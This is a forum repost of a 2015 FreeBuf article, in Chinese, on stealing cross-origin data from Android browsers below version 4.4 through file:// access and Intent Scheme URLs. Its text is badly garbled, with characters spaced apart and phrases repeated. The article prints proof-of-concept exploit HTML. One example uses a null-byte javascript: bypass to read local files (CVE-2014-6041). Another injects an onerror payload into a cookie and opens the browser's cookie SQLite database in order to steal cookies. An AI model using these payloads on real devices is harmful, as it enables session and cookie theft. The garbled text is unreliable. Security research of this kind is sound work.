搜索

[8557] 2015-01-05_Android浏览器跨域数据窃取和IntentScheme攻击

文档创建者：s7ckTeam
浏览次数：26
最后更新：2025-01-17
2015-01-05_Android浏览器跨域数据窃取和IntentScheme攻击 A n d r o i d 浏 览 器 跨 域 数 据 窃 取 和 I n t e n t   S c h e m e 攻 击 F r e e B u f   2 0 1 5 - 0 1 - 0 5 我 们 接 下 来 要 介 绍 的 这 个 漏 洞 ， 其 影 响 了 我 们 接 下 来 要 介 绍 的 这 个 漏 洞 ， 其 影 响 了 A n d r o i d 版 本 版 本 4 . 4 以 下 的 自 带 浏 览 器 和 一 些 其 他 特 定 的 以 下 的 自 带 浏 览 器 和 一 些 其 他 特 定 的 A n d r o i d 浏 览 器 ， 它 允 浏 览 器 ， 它 允 许 黑 客 读 取 许 黑 客 读 取 s q l i t e 格 式 的 格 式 的 c o o k i e 数 据 库 文 件 ， 从 而 窃 取 数 据 库 文 件 ， 从 而 窃 取 c o o k i e 。 顺 着 这 个 问 题 ， 我 们 来 谈 一 谈 。 顺 着 这 个 问 题 ， 我 们 来 谈 一 谈 A n d r o i d 版 本 版 本 4 . 4 以 下 的 跨 以 下 的 跨 站 数 据 窃 取 攻 击 。 站 数 据 窃 取 攻 击 。 F r e e B u f 小 科 普 小 科 普 I n t e n t   S c h e m e   U R L 攻 击 ： 攻 击 ： 这 种 攻 击 方 式 ， 利 用 了 浏 览 器 保 护 措 施 的 不 足 ， 通 过 浏 览 器 作 为 桥 梁 间 接 实 现 I n t e n d - B a s e d 攻 击 。 相 比 于 普 通 I n t e n d - B a s e d 攻 击 ， 这 种 方 式 极 具 隐 蔽 性 ， 而 且 由 于 恶 意 代 码 隐 藏 W e b P a g e 中 ， 传 统 的 特 征 匹 配 完 全 不 起 作 用 。 除 此 之 外 ， 这 种 攻 击 还 能 直 接 访 问 浏 览 器 自 身 的 组 件 （ 无 论 是 公 开 还 是 私 有 ） 和 私 有 文 件 ， 比 如 c o o k i e 文 件 ， 进 而 导 致 用 户 机 密 信 息 的 泄 露 。 I n t e n t - b a s e d 攻 击 ： 攻 击 ： 这 种 基 于 i n t e n t 的 安 卓 攻 击 手 法 很 普 遍 ， 轻 则 导 致 应 用 程 序 崩 溃 ， 重 则 可 能 演 变 提 权 漏 洞 。 攻 击 实 验 背 景 介 绍 攻 击 实 验 背 景 介 绍 在 我 研 究 S t o c k 浏 览 器 的 事 务 流 程 标 准 时 发 现 ， 如 果 让 浏 览 器 打 开 新 选 项 卡 并 且 使 用 f i l e : / / 协 议 协 议 ， 就 可 以 通 过 网 页 打 开 本 地 文 件 。 当 然 ， 这 的 确 不 算 一 个 漏 洞 ， 但 是 如 果 它 能 在 读 取 本 地 文 件 后 ， 然 后 把 该 文 件 的 信 息 发 送 到 远 程 时 ， 那 就 完 全 不 同 了 。 而 且 我 留 意 到 ， 这 是 个 这 是 个 A n d r o i d 下 浏 览 器 的 通 杀 漏 洞 下 浏 览 器 的 通 杀 漏 洞 ， 且 并 不 仅 限 于 C h r o m e 、 F i r e f o x 或 者 O p e r a 等 等 。 下 面 的 截 图 展 示 了 漏 洞 被 补 后 ， 权 限 被 禁 用 ， 想 要 从 菜 单 栏 打 开 本 地 文 件 会 发 生 的 错 误 ： 攻 击 实 验 方 案 ： 攻 击 实 验 方 案 ： 为 了 利 用 这 个 漏 洞 ， 我 们 模 拟 了 以 下 攻 击 流 程 ： 1 . 骗 取 用 户 访 问 黑 客 构 造 的 网 站 2 . 黑 客 在 某 页 面 设 置 返 回 特 定 头 部 内 容 ， 使 得 受 害 者 的 浏 览 器 自 行 下 载 e x p l o i t . h t m l 3 . 受 害 者 浏 览 器 会 主 动 打 开 新 选 项 卡 ， 浏 览 e x p l o i t . h t m l 4 . e x p l o i t . h t m l 将 读 取 本 地 敏 感 信 息 文 件 ， 反 馈 给 黑 客 为 了 给 这 次 攻 击 构 造 一 个 有 效 的 e x p ， 我 同 某 日 本 安 全 研 究 员 H a r u   S u g i y a m a 讨 论 后 ， 他 给 了 我 以 下 的 P O C ： h t t p : / / 1 3 3 . 2 4 2 . 1 3 4 . 2 4 1 / f i r e f o x / t e s t . h t m l 当 你 通 过 A n d r o i d 浏 览 器 访 问 以 上 示 例 页 面 时 ， 只 要 进 行 一 些 特 定 操 作 ， 其 中 的 恶 意 脚 本 就 会 影 响 F i r e f o x （ 文 章 首 段 提 到 的 特 定 的 A n d r o i d 浏 览 器 实 例 ） 或 者 A n d r o i d 的 自 带 浏 览 器 ， 下 载 恶 意 代 码 到 / s d c a r d / D o w n l o a d / e x p l o i t . h t m l ， 当 然 前 提 是 s d c a r d 这 个 目 录 确 实 存 在 。 浏 览 器 会 自 行 在 新 选 项 卡 里 打 开 刚 刚 下 载 的 恶 意 文 件 e x p l o i t . h t m l ， 然 后 从 其 他 本 地 文 件 里 读 取 内 容 。 实 际 上 ， 这 个 攻 击 过 程 并 不 如 我 讲 的 这 么 轻 松 愉 快 。 在 这 里 我 们 来 做 个 对 比 实 验 ， 看 看 针 对 A n d r o i d   2 . 3 . x 和 A n d r o i d   4 . 1 . x - 4 . 3 进 行 攻 击 的 结 果 区 别 。
A n d r o i d   2 . 3 . x 观 察 报 告 观 察 报 告 实 验 中 我 们 使 用 了 A n d r o i d   2 . 3 的 模 拟 器 ， 很 轻 松 地 就 通 过 恶 意 文 件 e x p l o i t . h t m l 读 取 到 了 其 他 本 地 文 件 的 内 容 ， 这 代 表 该 版 本 系 统 浏 览 器 存 在 相 应 的 漏 洞 ， 允 许 恶 意 网 站 绕 过 A n d r o i d 浏 览 器 同 源 策 略 ， 进 行 跨 域 数 据 窃 取 。 但 是 ， 由 于 A n d r o i d   2 . 3 . x 的 使 用 量 大 约 只 占 安 卓 用 户 的 1 1 . 4 % ， 而 且 正 在 如 w i n x p 一 般 慢 慢 地 消 亡 ， 所 以 其 危 害 并 没 有 那 么 大 ， A n d r o i d 各 版 本 用 户 使 用 量 统 计 图 如 下 ： 然 而 A n d r o i d   4 . 1 . x - 4 . 3 虽 然 并 不 能 直 接 读 取 本 地 文 件 ， 但 我 们 在 尝 试 了 空 字 节 绕 过 的 小 技 巧 后 ， 发 现 收 效 甚 好 ， P O C 如 下 ： < b u t t o n   o n c l i c k = " e x p l o i t ( ) " > R e a d   i f r a m e < / b u t t o n >   < b u t t o n   o n c l i c k = " w i n d o w . o p e n ( ' u 0 0 0 0 j a v a s c r i p t : a l e r t ( d o c u m e n t . b o d y . i n n e r H T M L ) ' , ' t e s t ' ) " > T r y   u 0 0 0 0 < / b u t t o n >   < i f r a m e   s r c = " f i l e : / d e f a u l t . p r o p "   n a m e = " t e s t "   s t y l e = ' w i d t h : 1 0 0 % ; h e i g h t : 2 0 0 ' > < / i f r a m e >   < s c r i p t >   f u n c t i o n   e x p l o i t ( )   {             v a r   i f r a m e   =   d o c u m e n t . g e t E l e m e n t s B y T a g N a m e ( ' i f r a m e ' ) [ 0 ] ;       t r y       {       a l e r t ( " T r y   t o   r e a d   l o c a l   f i l e . " ) ;                 a l e r t ( " c o n t e n t W i n d o w : " + i f r a m e . c o n t e n t W i n d o w ) ;                 a l e r t ( " d o c u m e n t : " + i f r a m e . c o n t e n t W i n d o w . d o c u m e n t ) ;                 a l e r t ( " b o d y : " + i f r a m e . c o n t e n t W i n d o w . d o c u m e n t . b o d y ) ;                 a l e r t ( " i n n e r H T M L : " + i f r a m e . c o n t e n t W i n d o w . d o c u m e n t . b o d y . i n n e r H T M L ) ;               }     c a t c h ( e )     {     a l e r t ( e ) ;           }     }   < / s c r i p t > 遗 憾 的 是 ， 据 C V E - 2 0 1 4 - 6 0 4 1 所 述 ， 该 漏 洞 已 经 打 上 补 丁 ， 经 试 验 e x p 失 效 。 采 用 采 用 I n t e n t   s c h e m e   U R L 进 行 攻 击 进 行 攻 击 据 我 们 以 上 研 究 得 出 的 结 论 ， 想 通 过 A n d r o i d   4 . 1 . x - 4 . 3 的 浏 览 器 进 行 本 地 文 件 读 取 是 不 可 行 的 ， 因 为 在 这 一 系 列 版 本 中 ， 本 地 文 件 不 能 从 任 意 其 他 文 件 里 读 取 内 容 。 然 而 ， m e t a s p l o i t 团 队 的 J o e   V e n n i x 表 示 ， 从 i n t e n t   s c h e m e 入 手 就 可 以 轻 松 地 发 起 攻 击 ， 附 上 相 应 文 章 相 应 文 章 ， 以 下 是 文 章 中 的 P O C ： 该 攻 击 该 攻 击 P O C 的 思 路 是 ： 的 思 路 是 ： 受 害 者 保 存 了 包 含 恶 意 受 害 者 保 存 了 包 含 恶 意 J S 代 码 的 代 码 的 c o o k i e 后 ， 浏 览 器 打 开 储 存 该 后 ， 浏 览 器 打 开 储 存 该 c o o k i e 的 的 s q l i t e 数 据 库 文 件 时 ， 附 在 数 据 库 文 件 时 ， 附 在 c o o k i e 里 被 注 入 了 的 里 被 注 入 了 的 恶 意 恶 意 J S 代 码 会 自 动 执 行 ， 从 而 窃 取 数 据 库 文 件 中 存 在 的 其 他 代 码 会 自 动 执 行 ， 从 而 窃 取 数 据 库 文 件 中 存 在 的 其 他 c o o k i e 。 基 于 这 个 。 基 于 这 个 P O C ， 黑 客 可 以 尝 试 读 取 整 个 ， 黑 客 可 以 尝 试 读 取 整 个 w e b v i e w C o o k i e C h r o m i u m . d b 文 件 。 文 件 。 < ! d o c t y p e   h t m l >             < h t m l >
                < h e a d > < m e t a   n a m e = " v i e w p o r t "   c o n t e n t = " w i d t h = d e v i c e - w i d t h ,   u s e r - s c a l a b l e = n o "   / > < / h e a d >                 < b o d y   s t y l e = ' w i d t h : 1 0 0 % ; f o n t - s i z e : 1 6 p x ; l i n e - h e i g h t : 3 6 p x ; ; ' >                     < a   h r e f = ' f i l e : / / / d a t a / d a t a / c o m . a n d r o i d . b r o w s e r / d a t a b a s e s / w e b v i e w C o o k i e s C h r o m i u m . d b ' >                         R e d i r e c t i n g . . .   T o   c o n t i n u e ,   t a p   a n d   h o l d   h e r e ,   t h e n   c h o o s e   " O p e n   i n   a   n e w   t a b "                     < / a >                     < s c r i p t >                       d o c u m e n t . c o o k i e = ' x = < i m g   s r c = x   o n e r r o r = p r o m p t ( d o c u m e n t . b o d y . i n n e r H T M L ) > ' ;             < / s c r i p t >                 < / b o d y >             < / h t m l > J o e 实 现 了 一 个 M e t a s p l o i t 模 块 模 块 ， 可 以 自 动 化 窃 取 c o o k i e 然 后 反 馈 给 黑 客 ， 即 使 该 数 据 库 文 件 采 用 了 h t t p o n l y 技 术 ， 这 种 攻 击 手 段 依 然 是 危 害 巨 大 的 。 M e t a s p l o i t 模 块 实 现 步 骤 模 块 实 现 步 骤 : 下 面 的 截 图 让 你 明 白 如 何 利 用 该 模 块 获 取 c o o k i e ： 第 一 步 ： 设 置 模 块 第 一 步 ： 设 置 模 块 第 二 步 ： 窃 取 第 二 步 ： 窃 取 c o o k i e 你 做 完 了 这 步 ， 就 可 以 泡 杯 咖 啡 ， 坐 等 鱼 儿 上 钩 了 。 第 三 步 ： 坐 等 第 三 步 ： 坐 等 c o o k i e 补 丁 相 关 信 息 ： 补 丁 相 关 信 息 ： 在 在 2 0 1 4 年 年 2 月 发 布 了 补 丁 ， 其 对 数 据 库 文 件 储 存 目 录 的 权 限 进 行 了 加 固 ， 但 是 因 补 丁 策 略 限 制 ， 它 并 没 有 照 顾 到 大 部 月 发 布 了 补 丁 ， 其 对 数 据 库 文 件 储 存 目 录 的 权 限 进 行 了 加 固 ， 但 是 因 补 丁 策 略 限 制 ， 它 并 没 有 照 顾 到 大 部 分 厂 商 。 分 厂 商 。 [ 参 考 来 源 参 考 来 源 r a f a y h a c k i n g a r t i c l e s , w o o y u n ， 译 ， 译 / F r e e B u f 小 编 小 编 d a w n e r 翻 译 整 理 ， 转 载 请 注 明 来 自 翻 译 整 理 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 黑 客 与 极 客
（ （ F r e e B u f . C O M ） ） ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理